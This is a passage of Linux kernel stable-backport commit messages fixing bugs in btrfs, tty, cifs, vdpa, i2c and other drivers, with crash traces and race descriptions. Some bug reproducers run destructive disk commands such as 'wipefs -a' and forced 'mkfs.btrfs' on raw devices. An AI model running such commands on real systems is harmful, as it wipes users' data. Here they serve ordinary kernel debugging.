mailing list) reported a few of the test cases failing. The failure scenario can be summarized and simplified as follows: $ mkfs.btrfs -fq -draid1 -mraid1 /dev/sdb1 /dev/sdb2 :0 $ btrfstune -m /dev/sdb1 :0 $ wipefs -a /dev/sdb1 :0 $ mount -o degraded /dev/sdb2 /btrfs :0 $ btrfs replace start -B -f -r 1 /dev/sdb1 /btrfs :1 STDERR: ERROR: ioctl(DEV_REPLACE_START) failed on "/btrfs": Input/output error [11290.583502] BTRFS warning (device sdb2): tree block 22036480 mirror 2 has bad fsid, has 99835c32-49f0-4668-9e66-dc277a96b4a6 want da40350c-33ac-4872-92a8-4948ed8c04d0 [11290.586580] BTRFS error (device sdb2): unable to fix up (regular) error at logical 22020096 on dev /dev/sdb8 physical 1048576 As above, the replace is failing because we are verifying the header with fs_devices::fsid instead of fs_devices::metadata_uuid, despite the metadata_uuid actually being present. To fix this, use fs_devices::metadata_uuid. We copy fsid into fs_devices::metadata_uuid if there is no metadata_uuid, so its fine. Fixes: a3ddbaebc7c9 ("btrfs: scrub: introduce a helper to verify one metadata block") CC: stable@vger.kernel.org # 6.4+ Signed-off-by: Anand Jain Signed-off-by: David Sterba Signed-off-by: Greg Kroah-Hartman commit ae81329f7de3aa6f34ecdfa5412e72161a30e9ce Author: xiaoshoukui Date: Tue Aug 15 02:55:59 2023 -0400 btrfs: fix BUG_ON condition in btrfs_cancel_balance commit 29eefa6d0d07e185f7bfe9576f91e6dba98189c2 upstream. Pausing and canceling balance can race to interrupt balance lead to BUG_ON panic in btrfs_cancel_balance. The BUG_ON condition in btrfs_cancel_balance does not take this race scenario into account. However, the race condition has no other side effects. We can fix that. Reproducing it with panic trace like this: kernel BUG at fs/btrfs/volumes.c:4618! RIP: 0010:btrfs_cancel_balance+0x5cf/0x6a0 Call Trace: ? do_nanosleep+0x60/0x120 ? hrtimer_nanosleep+0xb7/0x1a0 ? sched_core_clone_cookie+0x70/0x70 btrfs_ioctl_balance_ctl+0x55/0x70 btrfs_ioctl+0xa46/0xd20 __x64_sys_ioctl+0x7d/0xa0 do_syscall_64+0x38/0x80 entry_SYSCALL_64_after_hwframe+0x63/0xcd Race scenario as follows: > mutex_unlock(&fs_info->balance_mutex); > -------------------- > .......issue pause and cancel req in another thread > -------------------- > ret = __btrfs_balance(fs_info); > > mutex_lock(&fs_info->balance_mutex); > if (ret == -ECANCELED && atomic_read(&fs_info->balance_pause_req)) { > btrfs_info(fs_info, "balance: paused"); > btrfs_exclop_balance(fs_info, BTRFS_EXCLOP_BALANCE_PAUSED); > } CC: stable@vger.kernel.org # 4.19+ Signed-off-by: xiaoshoukui Reviewed-by: David Sterba Signed-off-by: David Sterba Signed-off-by: Greg Kroah-Hartman commit b43a4c99d878cf5e59040e45c96bb0a8358bfb3b Author: Josef Bacik Date: Thu Aug 17 16:57:30 2023 -0400 btrfs: fix incorrect splitting in btrfs_drop_extent_map_range commit c962098ca4af146f2625ed64399926a098752c9c upstream. In production we were seeing a variety of WARN_ON()'s in the extent_map code, specifically in btrfs_drop_extent_map_range() when we have to call add_extent_mapping() for our second split. Consider the following extent map layout PINNED [0 16K) [32K, 48K) and then we call btrfs_drop_extent_map_range for [0, 36K), with skip_pinned == true. The initial loop will have start = 0 end = 36K len = 36K we will find the [0, 16k) extent, but since we are pinned we will skip it, which has this code start = em_end; if (end != (u64)-1) len = start + len - em_end; em_end here is 16K, so now the values are start = 16K len = 16K + 36K - 16K = 36K len should instead be 20K. This is a problem when we find the next extent at [32K, 48K), we need to split this extent to leave [36K, 48k), however the code for the split looks like this split->start = start + len; split->len = em_end - (start + len); In this case we have em_end = 48K split->start = 16K + 36K // this should be 16K + 20K split->len = 48K - (16K + 36K) // this overflows as 16K + 36K is 52K and now we have an invalid extent_map in the tree that potentially overlaps other entries in the extent map. Even in the non-overlapping case we will have split->start set improperly, which will cause problems with any block related calculations. We don't actually need len in this loop, we can simply use end as our end point, and only adjust start up when we find a pinned extent we need to skip. Adjust the logic to do this, which keeps us from inserting an invalid extent map. We only skip_pinned in the relocation case, so this is relatively rare, except in the case where you are running relocation a lot, which can happen with auto relocation on. Fixes: 55ef68990029 ("Btrfs: Fix btrfs_drop_extent_cache for skip pinned case") CC: stable@vger.kernel.org # 4.14+ Reviewed-by: Filipe Manana Signed-off-by: Josef Bacik Signed-off-by: David Sterba Signed-off-by: Greg Kroah-Hartman commit 5441532ffc9c8c9f7cab0f8722e6d60a0b5e1259 Author: Filipe Manana Date: Sun Aug 13 12:34:08 2023 +0100 btrfs: fix infinite directory reads commit 9b378f6ad48cfa195ed868db9123c09ee7ec5ea2 upstream. The readdir implementation currently processes always up to the last index it finds. This however can result in an infinite loop if the directory has a large number of entries such that they won't all fit in the given buffer passed to the readdir callback, that is, dir_emit() returns a non-zero value. Because in that case readdir() will be called again and if in the meanwhile new directory entries were added and we still can't put all the remaining entries in the buffer, we keep repeating this over and over. The following C program and test script reproduce the problem: $ cat /mnt/readdir_prog.c #include #include #include int main(int argc, char *argv[]) { DIR *dir = opendir("."); struct dirent *dd; while ((dd = readdir(dir))) { printf("%s\n", dd->d_name); rename(dd->d_name, "TEMPFILE"); rename("TEMPFILE", dd->d_name); } closedir(dir); } $ gcc -o /mnt/readdir_prog /mnt/readdir_prog.c $ cat test.sh #!/bin/bash DEV=/dev/sdi MNT=/mnt/sdi mkfs.btrfs -f $DEV &> /dev/null #mkfs.xfs -f $DEV &> /dev/null #mkfs.ext4 -F $DEV &> /dev/null mount $DEV $MNT mkdir $MNT/testdir for ((i = 1; i <= 2000; i++)); do echo -n > $MNT/testdir/file_$i done cd $MNT/testdir /mnt/readdir_prog cd /mnt umount $MNT This behaviour is surprising to applications and it's unlike ext4, xfs, tmpfs, vfat and other filesystems, which always finish. In this case where new entries were added due to renames, some file names may be reported more than once, but this varies according to each filesystem - for example ext4 never reported the same file more than once while xfs reports the first 13 file names twice. So change our readdir implementation to track the last index number when opendir() is called and then make readdir() never process beyond that index number. This gives the same behaviour as ext4. Reported-by: Rob Landley Link: https://lore.kernel.org/linux-btrfs/2c8c55ec-04c6-e0dc-9c5c-8c7924778c35@landley.net/ Link: https://bugzilla.kernel.org/show_bug.cgi?id=217681 CC: stable@vger.kernel.org # 6.4+ Signed-off-by: Filipe Manana Signed-off-by: David Sterba Signed-off-by: Greg Kroah-Hartman commit c5be9bc0dff65f4794e7d78d227ca28ec43fd20a Author: Sherry Sun Date: Tue Aug 1 10:23:04 2023 +0800 tty: serial: fsl_lpuart: Clear the error flags by writing 1 for lpuart32 platforms commit 282069845af388b08d622ad192b831dcd0549c62 upstream. Do not read the data register to clear the error flags for lpuart32 platforms, the additional read may cause the receive FIFO underflow since the DMA has already read the data register. Actually all lpuart32 platforms support write 1 to clear those error bits, let's use this method to better clear the error flags. Fixes: 42b68768e51b ("serial: fsl_lpuart: DMA support for 32-bit variant") Cc: stable Signed-off-by: Sherry Sun Link: https://lore.kernel.org/r/20230801022304.24251-1-sherry.sun@nxp.com Signed-off-by: Greg Kroah-Hartman commit f40e70d7f40bd44ecf6f35b946a899e59744fbe1 Author: Yi Yang Date: Fri Aug 11 11:11:21 2023 +0800 tty: n_gsm: fix the UAF caused by race condition in gsm_cleanup_mux commit 3c4f8333b582487a2d1e02171f1465531cde53e3 upstream. In commit 9b9c8195f3f0 ("tty: n_gsm: fix UAF in gsm_cleanup_mux"), the UAF problem is not completely fixed. There is a race condition in gsm_cleanup_mux(), which caused this UAF. The UAF problem is triggered by the following race: task[5046] task[5054] ----------------------- ----------------------- gsm_cleanup_mux(); dlci = gsm->dlci[0]; mutex_lock(&gsm->mutex); gsm_cleanup_mux(); dlci = gsm->dlci[0]; //Didn't take the lock gsm_dlci_release(gsm->dlci[i]); gsm->dlci[i] = NULL; mutex_unlock(&gsm->mutex); mutex_lock(&gsm->mutex); dlci->dead = true; //UAF Fix it by assigning values after mutex_lock(). Link: https://syzkaller.appspot.com/text?tag=CrashReport&x=176188b5a80000 Cc: stable Fixes: 9b9c8195f3f0 ("tty: n_gsm: fix UAF in gsm_cleanup_mux") Fixes: aa371e96f05d ("tty: n_gsm: fix restart handling via CLD command") Signed-off-by: Yi Yang Co-developed-by: Qiumiao Zhang Signed-off-by: Qiumiao Zhang Link: https://lore.kernel.org/r/20230811031121.153237-1-yiyang13@huawei.com Signed-off-by: Greg Kroah-Hartman commit 1c37d5101e4027f544b51d5d12c901a330c810f2 Author: Steve French Date: Thu Aug 10 21:41:03 2023 -0500 smb3: display network namespace in debug information commit 7b38f6ddc97bf572c3422d3175e8678dd95502fa upstream. We recently had problems where a network namespace was deleted causing hard to debug reconnect problems. To help deal with configuration issues like this it is useful to dump the network namespace to better debug what happened. So add this to information displayed in /proc/fs/cifs/DebugData for the server (and channels if mounted with multichannel). For example: Local Users To Server: 1 SecMode: 0x1 Req On Wire: 0 Net namespace: 4026531840 This can be easily compared with what is displayed for the processes on the system. For example /proc/1/ns/net in this case showed the same thing (see below), and we can see that the namespace is still valid in this example. 'net:[4026531840]' Cc: stable@vger.kernel.org Acked-by: Paulo Alcantara (SUSE) Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman commit 98085d20c49cde49983e70bae52ff032d2ff786c Author: Dragos Tatulea Date: Thu Jul 27 20:57:54 2023 +0300 vdpa: Enable strict validation for netlinks ops commit f46c1e1620c6bbc9aad5693082efd1b80822e97c upstream. The previous patches added the missing nla policies that were required for validation to work. Now strict validation on netlink ops can be enabled. This patch does it. Signed-off-by: Dragos Tatulea Cc: stable@vger.kernel.org Message-Id: <20230727175757.73988-9-dtatulea@nvidia.com> Signed-off-by: Michael S. Tsirkin Signed-off-by: Greg Kroah-Hartman commit ea65e8b5e6b1a34deda7564f09c90e9e80db436a Author: Lin Ma Date: Thu Jul 27 20:57:52 2023 +0300 vdpa: Add max vqp attr to vdpa_nl_policy for nlattr length check commit 5d6ba607d6cb5c58a4ddf33381e18c83dbb4098f upstream. The vdpa_nl_policy structure is used to validate the nlattr when parsing the incoming nlmsg. It will ensure the attribute being described produces a valid nlattr pointer in info->attrs before entering into each handler in vdpa_nl_ops. That is to say, the missing part in vdpa_nl_policy may lead to illegal nlattr after parsing, which could lead to OOB read just like CVE-2023-3773. This patch adds the missing nla_policy for vdpa max vqp attr to avoid such bugs. Fixes: ad69dd0bf26b ("vdpa: Introduce query of device config layout") Signed-off-by: Lin Ma Cc: stable@vger.kernel.org Message-Id: <20230727175757.73988-7-dtatulea@nvidia.com> Signed-off-by: Michael S. Tsirkin Signed-off-by: Greg Kroah-Hartman commit ccb533b7070aeeb65c66ea5d590e9c62421dcd61 Author: Lin Ma Date: Thu Jul 27 20:57:50 2023 +0300 vdpa: Add queue index attr to vdpa_nl_policy for nlattr length check commit b3003e1b54e057f5f3124e437b80c3bef26ed3fe upstream. The vdpa_nl_policy structure is used to validate the nlattr when parsing the incoming nlmsg. It will ensure the attribute being described produces a valid nlattr pointer in info->attrs before entering into each handler in vdpa_nl_ops. That is to say, the missing part in vdpa_nl_policy may lead to illegal nlattr after parsing, which could lead to OOB read just like CVE-2023-3773. This patch adds the missing nla_policy for vdpa queue index attr to avoid such bugs. Fixes: 13b00b135665 ("vdpa: Add support for querying vendor statistics") Signed-off-by: Lin Ma Cc: stable@vger.kernelorg Message-Id: <20230727175757.73988-5-dtatulea@nvidia.com> Signed-off-by: Michael S. Tsirkin Signed-off-by: Greg Kroah-Hartman commit 645d17e06c502e71b880b2b854930e5a64014640 Author: Lin Ma Date: Thu Jul 27 20:57:48 2023 +0300 vdpa: Add features attr to vdpa_nl_policy for nlattr length check commit 79c8651587504ba263d2fd67fd4406240fb21f69 upstream. The vdpa_nl_policy structure is used to validate the nlattr when parsing the incoming nlmsg. It will ensure the attribute being described produces a valid nlattr pointer in info->attrs before entering into each handler in vdpa_nl_ops. That is to say, the missing part in vdpa_nl_policy may lead to illegal nlattr after parsing, which could lead to OOB read just like CVE-2023-3773. This patch adds the missing nla_policy for vdpa features attr to avoid such bugs. Fixes: 90fea5a800c3 ("vdpa: device feature provisioning") Signed-off-by: Lin Ma Cc: stable@vger.kernel.org Message-Id: <20230727175757.73988-3-dtatulea@nvidia.com> Signed-off-by: Michael S. Tsirkin Signed-off-by: Greg Kroah-Hartman commit 6acb8a453388374fafb3c3b37534b675b2aa0ae1 Author: Nathan Lynch Date: Thu Aug 10 22:37:55 2023 -0500 powerpc/rtas_flash: allow user copy to flash block cache objects commit 4f3175979e62de3b929bfa54a0db4b87d36257a7 upstream. With hardened usercopy enabled (CONFIG_HARDENED_USERCOPY=y), using the /proc/powerpc/rtas/firmware_update interface to prepare a system firmware update yields a BUG(): kernel BUG at mm/usercopy.c:102! Oops: Exception in kernel mode, sig: 5 [#1] LE PAGE_SIZE=64K MMU=Hash SMP NR_CPUS=2048 NUMA pSeries Modules linked in: CPU: 0 PID: 2232 Comm: dd Not tainted 6.5.0-rc3+ #2 Hardware name: IBM,8408-E8E POWER8E (raw) 0x4b0201 0xf000004 of:IBM,FW860.50 (SV860_146) hv:phyp pSeries NIP: c0000000005991d0 LR: c0000000005991cc CTR: 0000000000000000 REGS: c0000000148c76a0 TRAP: 0700 Not tainted (6.5.0-rc3+) MSR: 8000000000029033 CR: 24002242 XER: 0000000c CFAR: c0000000001fbd34 IRQMASK: 0 [ ... GPRs omitted ... ] NIP usercopy_abort+0xa0/0xb0 LR usercopy_abort+0x9c/0xb0 Call Trace: usercopy_abort+0x9c/0xb0 (unreliable) __check_heap_object+0x1b4/0x1d0 __check_object_size+0x2d0/0x380 rtas_flash_write+0xe4/0x250 proc_reg_write+0xfc/0x160 vfs_write+0xfc/0x4e0 ksys_write+0x90/0x160 system_call_exception+0x178/0x320 system_call_common+0x160/0x2c4 The blocks of the firmware image are copied directly from user memory to objects allocated from flash_block_cache, so flash_block_cache must be created using kmem_cache_create_usercopy() to mark it safe for user access. Fixes: 6d07d1cd300f ("usercopy: Restrict non-usercopy caches to size 0") Signed-off-by: Nathan Lynch Reviewed-by: Kees Cook [mpe: Trim and indent oops] Signed-off-by: Michael Ellerman Link: https://msgid.link/20230810-rtas-flash-vs-hardened-usercopy-v2-1-dcf63793a938@linux.ibm.com Signed-off-by: Greg Kroah-Hartman commit 1ced17e05dc6992fcd38b801b488ba0e9728ba36 Author: Chen-Yu Tsai Date: Mon Jul 10 08:51:36 2023 +0200 media: mtk-jpeg: Set platform driver data earlier commit 8329d0c7355bfb7237baf09ec979c3e8144d2781 upstream. In the multi-core JPEG encoder/decoder setup, the driver for the individual cores references the parent device's platform driver data. However, in the parent driver, this is only set at the end of the probe function, way later than devm_of_platform_populate(), which triggers the probe of the cores. This causes a kernel splat in the sub-device probe function. Move platform_set_drvdata() to before devm_of_platform_populate() to fix this. Fixes: 934e8bccac95 ("mtk-jpegenc: support jpegenc multi-hardware") Signed-off-by: Chen-Yu Tsai Reviewed-by: AngeloGioacchino Del Regno Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman commit 92010480edc9b8a093a01c494d0b221f27898690 Author: Yuanjun Gong Date: Fri Jul 28 01:03:18 2023 +0800 fbdev: mmp: fix value check in mmphw_probe() commit 0872b2c0abc0e84ac82472959c8e14e35277549c upstream. in mmphw_probe(), check the return value of clk_prepare_enable() and return the error code if clk_prepare_enable() returns an unexpected value. Fixes: d63028c38905 ("video: mmp display controller support") Signed-off-by: Yuanjun Gong Signed-off-by: Helge Deller Signed-off-by: Greg Kroah-Hartman commit cd4ffdf56791eec95af01f06bee1ec7665ca75c4 Author: Ming Lei Date: Thu Aug 17 22:17:51 2023 +0800 blk-cgroup: hold queue_lock when removing blkg->q_node commit c164c7bc9775be7bcc68754bb3431fce5823822e upstream. When blkg is removed from q->blkg_list from blkg_free_workfn(), queue_lock has to be held, otherwise, all kinds of bugs(list corruption, hard lockup, ..) can be triggered from blkg_destroy_all(). Fixes: f1c006f1c685 ("blk-cgroup: synchronize pd_free_fn() from blkg_free_workfn() and blkcg_deactivate_policy()") Cc: Yu Kuai Cc: xiaoli feng Cc: Chunyu Hu Cc: Mike Snitzer Cc: Tejun Heo Signed-off-by: Ming Lei Acked-by: Tejun Heo Link: https://lore.kernel.org/r/20230817141751.1128970-1-ming.lei@redhat.com Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman commit 3c38774dbaaa7a71209cd19f839160d09b17fe48 Author: Parker Newman Date: Tue Aug 8 16:01:06 2023 +0200 i2c: tegra: Fix i2c-tegra DMA config option processing commit 27ec43c77b5db780a56fc3a6d6de6bf2f74614f7 upstream. Tegra processors prior to Tegra186 used APB DMA for I2C requiring CONFIG_TEGRA20_APB_DMA=y while Tegra186 and later use GPC DMA requiring CONFIG_TEGRA186_GPC_DMA=y. The check for if the processor uses APB DMA is inverted and so the wrong DMA config options are checked. This means if CONFIG_TEGRA20_APB_DMA=y but CONFIG_TEGRA186_GPC_DMA=n with a Tegra186 or later processor the driver will incorrectly think DMA is enabled and attempt to request DMA channels that will never be availible, leaving the driver in a perpetual EPROBE_DEFER state. Fixes: 48cb6356fae1 ("i2c: tegra: Add GPCDMA support") Signed-off-by: Parker Newman Acked-by: Andi Shyti Acked-by: Akhil R Link: https://lore.kernel.org/r/fcfcf9b3-c8c4-9b34-2ff8-cd60a3d490bd@connecttech.com Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman commit 4c07b591014e9cf572e52a3130c8d9b613f0e5fa Author: Yicong Yang Date: Tue Aug 1 20:46:25 2023 +0800 i2c: hisi: Only handle the interrupt of the driver's transfer commit fff67c1b17ee093947bdcbac6f64d072e644159a upstream. The controller may be shared with other port, for example the firmware. Handle the interrupt from other sources will cause crash since some data are not initialized. So only handle the interrupt of the driver's transfer and discard others. Fixes: d62fbdb99a85 ("i2c: add support for HiSilicon I2C controller") Signed-off-by: Yicong Yang Reviewed-by: Andi Shyti Link: https://lore.kernel.org/r/20230801124625.63587-1-yangyicong@huawei.com Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman commit 64d83e2c2fcba225020706ce7cc22f9eebbe1d99 Author: Chengfeng Ye Date: Fri Jul 7 08:49:41 2023 +0000 i2c: bcm-iproc: Fix bcm_iproc_i2c_isr deadlock issue commit 4caf4cb1eaed469742ef719f2cc024b1ec3fa9e6 upstream. iproc_i2c_rd_reg() and iproc_i2c_wr_reg() are called from both interrupt context (e.g. bcm_iproc_i2c_isr) and process context (e.g. bcm_iproc_i2c_suspend). Therefore, interrupts should be disabled to avoid potential deadlock. To prevent this scenario, use spin_lock_irqsave(). Fixes: 9a1038728037 ("i2c: iproc: add NIC I2C support") Signed-off-by: Chengfeng Ye Acked-by: Ray Jui Reviewed-by: Andi Shyti Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman commit 4f210ab4973685c3ec91f8d7289408584f06f209 Author: Qingsong Chen Date: Tue Aug 8 10:54:01 2023 +0800 rust: macros: vtable: fix `HAS_*` redefinition (`gen_const_name`) commit 3fa7187eceee11998f756481e45ce8c4f9d9dc48 upstream. If we define the same function name twice in a trait (using `#[cfg]`), the `vtable` macro will redefine its `gen_const_name`, e.g. this will define `HAS_BAR` twice: #[vtable] pub trait Foo { #[cfg(CONFIG_X)] fn bar(); #[cfg(not(CONFIG_X))] fn bar(x: usize); } Fixes: b44becc5ee80 ("rust: macros: add `#[vtable]` proc macro") Signed-off-by: Qingsong Chen Reviewed-by: Andreas Hindborg Reviewed-by: Gary Guo Reviewed-by: Sergio González Collado Link: https://lore.kernel.org/r/20230808025404.2053471-1-changxian.cqs@antgroup.com Signed-off-by: Miguel Ojeda Signed-off-by: Greg Kroah-Hartman commit 6b67a6d2e50634fe127e656147c81915955e9f5e Author: Steve French Date: Thu Aug 10 15:34:21 2023 -0500 cifs: fix potential oops in cifs_oplock_break [ Upstream commit e8f5f849ffce24490eb9449e98312b66c0dba76f ] With deferred close we can have closes that race with lease breaks, and so with the current checks for whether to send the lease response, oplock_response(), this can mean that an unmount (kill_sb) can occur just before we were checking if the tcon->ses is valid. See below: [Fri Aug 4 04:12:50 2023] RIP: 0010:cifs_oplock_break+0x1f7/0x5b0 [cifs] [Fri Aug 4 04:12:50 2023] Code: 7d a8 48 8b 7d c0 c0 e9 02 48 89 45 b8 41 89 cf e8 3e f5 ff ff 4c 89 f7 41 83 e7 01 e8 82 b3 03 f2 49 8b 45 50 48 85 c0 74 5e <48> 83 78 60 00 74 57 45 84 ff 75 52 48 8b 43 98 48 83 eb 68 48 39 [Fri Aug 4 04:12:50 2023] RSP: 0018:ffffb30607ddbdf8 EFLAGS: 00010206 [Fri Aug 4 04:12:50 2023] RAX: 632d223d32612022 RBX: ffff97136944b1e0 RCX: 0000000080100009 [Fri Aug 4 04:12:50 2023] RDX: 0000000000000001 RSI: 0000000080100009 RDI: ffff97136944b188 [Fri Aug 4 04:12:50 2023] RBP: ffffb30607ddbe58 R08: 0000000000000001 R09: ffffffffc08e0900 [Fri Aug 4 04:12:50 2023] R10: 0000000000000001 R11: 000000000000000f R12: ffff97136944b138 [Fri Aug 4 04:12:50 2023] R13: ffff97149147c000 R14: ffff97136944b188 R15: 0000000000000000 [Fri Aug 4 04:12:50 2023] FS: 0000000000000000(0000) GS:ffff9714f7c00000(0000) knlGS:0000000000000000 [Fri Aug 4 04:12:50 2023] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [Fri Aug 4 04:12:50 2023] CR2: 00007fd8de9c7590 CR3: 000000011228e000 CR4: 0000000000350ef0 [Fri Aug 4 04:12:50 2023] Call Trace: [Fri Aug 4 04:12:50 2023] [Fri Aug 4 04:12:50 2023] process_one_work+0x225/0x3d0 [Fri Aug 4 04:12:50 2023] worker_thread+0x4d/0x3e0 [Fri Aug 4 04:12:50 2023] ? process_one_work+0x3d0/0x3d0 [Fri Aug 4 04:12:50 2023] kthread+0x12a/0x150 [Fri Aug 4 04:12:50 2023] ? set_kthread_struct+0x50/0x50 [Fri Aug 4 04:12:50 2023] ret_from_fork+0x22/0x30 [Fri Aug 4 04:12:50 2023] To fix this change the ordering of the checks before sending the oplock_response to first check if the openFileList is empty. Fixes: da787d5b7498 ("SMB3: Do not send lease break acknowledgment if all file handles have been closed") Suggested-by: Bharath SM Reviewed-by: Bharath SM Reviewed-by: Shyam Prasad N Signed-off-by: Paulo Alcantara (SUSE) Signed-off-by: Steve French Signed-off-by: Sasha Levin commit 8671f8bdc7c04c60387a16398668cf8f77320e2f Author: Eugenio Pérez Date: Wed Aug 2 20:12:20 2023 +0300 vdpa/mlx5: Delete control vq iotlb in destroy_mr only when necessary [ Upstream commit ad03a0f44cdb97b46e5c84ed353dac9b8ae2c276 ] mlx5_vdpa_destroy_mr can be called from .set_map with data ASID after the control virtqueue ASID iotlb has been populated. The control vq iotlb must not be cleared, since it will not be populated again. So call the ASID aware destroy function which makes sure that the right vq resource is destroyed. Fixes: 8fcd20c30704 ("vdpa/mlx5: Support different address spaces for control and data") Signed-off-by: Eugenio Pérez Reviewed-by: Gal Pressman Message-Id: <20230802171231.11001-5-dtatulea@nvidia.com> Signed-off-by: Michael S. Tsirkin Acked-by: Jason Wang Signed-off-by: Sasha Levin commit bfb5564d969e068bfcfa7c5176d554392df02113 Author: Dragos Tatulea Date: Wed Aug 2 20:12:18 2023 +0300 vdpa/mlx5: Fix mr->initialized semantics [ Upstream commit 9ee811009ad8f87982b69e61d07447d12233ad01 ] The mr->initialized flag is shared between the control vq and data vq part of the mr init/uninit. But if the control vq and data vq get placed in different ASIDs, it can happen that initializing the control vq will prevent the data vq mr from being initialized. This patch consolidates the control and data vq init parts into their own init functions. The mr->initialized will now be used for the data vq only. The control vq currently doesn't need a flag. The uninitializing part is also taken care of: mlx5_vdpa_destroy_mr got split into data and control vq functions which are now also ASID aware. Fixes: 8fcd20c30704 ("vdpa/mlx5: Support different address spaces for control and data") Signed-off-by: Dragos Tatulea Reviewed-by: Eugenio Pérez Reviewed-by: Gal Pressman Message-Id: <20230802171231.11001-3-dtatulea@nvidia.com> Signed-off-by: Michael S. Tsirkin Acked-by: Jason Wang Signed-off-by: Sasha Levin commit fa450621efab58121fe8e57f7a7b80fee6e0bae1 Author: Gal Pressman Date: Wed Jul 26 22:10:07 2023 +0300 virtio-vdpa: Fix cpumask memory leak in virtio_vdpa_find_vqs() [ Upstream commit df9557046440b0a62250fee3169a8f6a139f55a6 ] Free the cpumask allocated by create_affinity_masks() before returning from the function. Fixes: 3dad56823b53 ("virtio-vdpa: Support interrupt affinity spreading mechanism") Signed-off-by: Gal Pressman Reviewed-by: Dragos Tatulea Message-Id: <20230726191036.14324-1-dtatulea@nvidia.com> Signed-off-by: Michael S. Tsirkin Acked-by: Jason Wang Reviewed-by: Xie Yongji Signed-off-by: Sasha Levin commit a44a443dd12d406ce6e383dd8f45c1b4460e1505 Author: Maxime Coquelin Date: Wed Jul 5 13:45:05 2023 +0200 vduse: Use proper spinlock for IRQ injection [ Upstream commit 7ca26efb09a1543fddb29308ea3b63b66cb5d3ee ] The IRQ injection work used spin_lock_irq() to protect the scheduling of the softirq, but spin_lock_bh() should be used. With spin_lock_irq(), we noticed delay of more than 6 seconds between the time a NAPI polling work is scheduled and the time it is executed. Fixes: c8a6153b6c59 ("vduse: Introduce VDUSE - vDPA Device in Userspace") Cc: xieyongji@bytedance.com Suggested-by: Jason Wang Signed-off-by: Maxime Coquelin Message-Id: <20230705114505.63274-1-maxime.coquelin@redhat.com> Signed-off-by: Michael S. Tsirkin Acked-by: Jason Wang Reviewed-by: Xie Yongji Signed-off-by: Sasha Levin commit 2dcb368fe5a8eee498ca75c93a18ce2f3b0d6a8e Author: Wolfram Sang Date: Thu Jun 29 14:05:26 2023 +0200 virtio-mmio: don't break lifecycle of vm_dev [ Upstream commit 55c91fedd03d7b9cf0c5199b2eb12b9b8e95281a ] vm_dev has a separate lifecycle because it has a 'struct device' embedded. Thus, having a release callback for it is correct. Allocating the vm_dev struct with devres totally breaks this protection, though. Instead of waiting for the vm_dev release callback, the memory is freed when the platform_device is removed. Resulting in a use-after-free when finally the callback is to be called. To easily see the problem, compile the kernel with CONFIG_DEBUG_KOBJECT_RELEASE and unbind with sysfs. The fix is easy, don't use devres in this case. Found during my research about object lifetime problems. Fixes: 7eb781b1bbb7 ("virtio_mmio: add cleanup for virtio_mmio_probe") Signed-off-by: Wolfram Sang Message-Id: <20230629120526.7184-1-wsa+renesas@sang-engineering.com> Signed-off-by: Michael S. Tsirkin Signed-off-by: Sasha Levin commit 049a8ae7f818af8923790cd916b254541279c2e1 Author: Abel Vesa Date: Tue Aug 1 12:57:02 2023 +0300 regulator: qcom-rpmh: Fix LDO 12 regulator for PM8550 [ Upstream commit 7cdf55462c5533a1c78ae13ab8563558e30e4130 ] The LDO 12 is NLDO 515 low voltage type, so fix accordingly. Fixes: e6e3776d682d ("regulator: qcom-rpmh: Add support for PM8550 regulators") Signed-off-by: Abel Vesa Reviewed-by: Neil Armstrong Link: https://lore.kernel.org/r/20230801095702.2891127-1-abel.vesa@linaro.org Signed-off-by: Mark Brown Signed-off-by: Sasha Levin commit 7569c4294ba6ff9f194635b14876198f8a687c4a Author: Filipe Manana Date: Wed Jun 28 17:13:37 2023 +0100 btrfs: fix use-after-free of new block group that became unused [ Upstream commit 0657b20c5a76c938612f8409735a8830d257866e ] If a task creates a new block group and that block group becomes unused before we finish its creation, at btrfs_create_pending_block_groups(), then when btrfs_mark_bg_unused() is called against the block group, we assume that the block group is currently in the list of block groups to reclaim, and we move it out of the list of new block groups and into the list of unused block groups. This has two consequences: 1) We move it out of the list of new block groups associated to the current transaction. So the block group creation is not finished and if we attempt to delete the bg because it's unused, we will not find the block group item in the extent tree (or the new block group tree), its device extent items in the device tree etc, resulting in the deletion to fail due to the missing items; 2) We don't increment the reference count on the block group when we move it to the list of unused block groups, because we assumed the block group was on the list of block groups to reclaim, and in that case it already has the correct reference count. However the block group was on the list of new block groups, in which case no extra reference was taken because it's local to the current task. This later results in doing an extra reference count decrement when removing the block group from the unused list, eventually leading the reference count to 0. This second case was caught when running generic/297 from fstests, which produced the following assertion failure and stack trace: [589.559] assertion failed: refcount_read(&block_group->refs) == 1, in fs/btrfs/block-group.c:4299 [589.559] ------------[ cut here ]------------ [589.559] kernel BUG at fs/btrfs/block-group.c:4299! [589.560] invalid opcode: 0000 [#1] PREEMPT SMP PTI [589.560] CPU: 8 PID: 2819134 Comm: umount Tainted: G W 6.4.0-rc6-btrfs-next-134+ #1 [589.560] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014 [589.560] RIP: 0010:btrfs_free_block_groups+0x449/0x4a0 [btrfs] [589.561] Code: 68 62 da c0 (...) [589.561] RSP: 0018:ffffa55a8c3b3d98 EFLAGS: 00010246 [589.561] RAX: 0000000000000058 RBX: ffff8f030d7f2000 RCX: 0000000000000000 [589.562] RDX: 0000000000000000 RSI: ffffffff953f0878 RDI: 00000000ffffffff [589.562] RBP: ffff8f030d7f2088 R08: 0000000000000000 R09: ffffa55a8c3b3c50 [589.562] R10: 0000000000000001 R11: 0000000000000001 R12: ffff8f05850b4c00 [589.562] R13: ffff8f030d7f2090 R14: ffff8f05850b4cd8 R15: dead000000000100 [589.563] FS: 00007f497fd2e840(0000) GS:ffff8f09dfc00000(0000) knlGS:0000000000000000 [589.563] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [589.563] CR2: 00007f497ff8ec10 CR3: 0000000271472006 CR4: 0000000000370ee0 [589.563] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [589.564] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [589.564] Call Trace: [589.564] 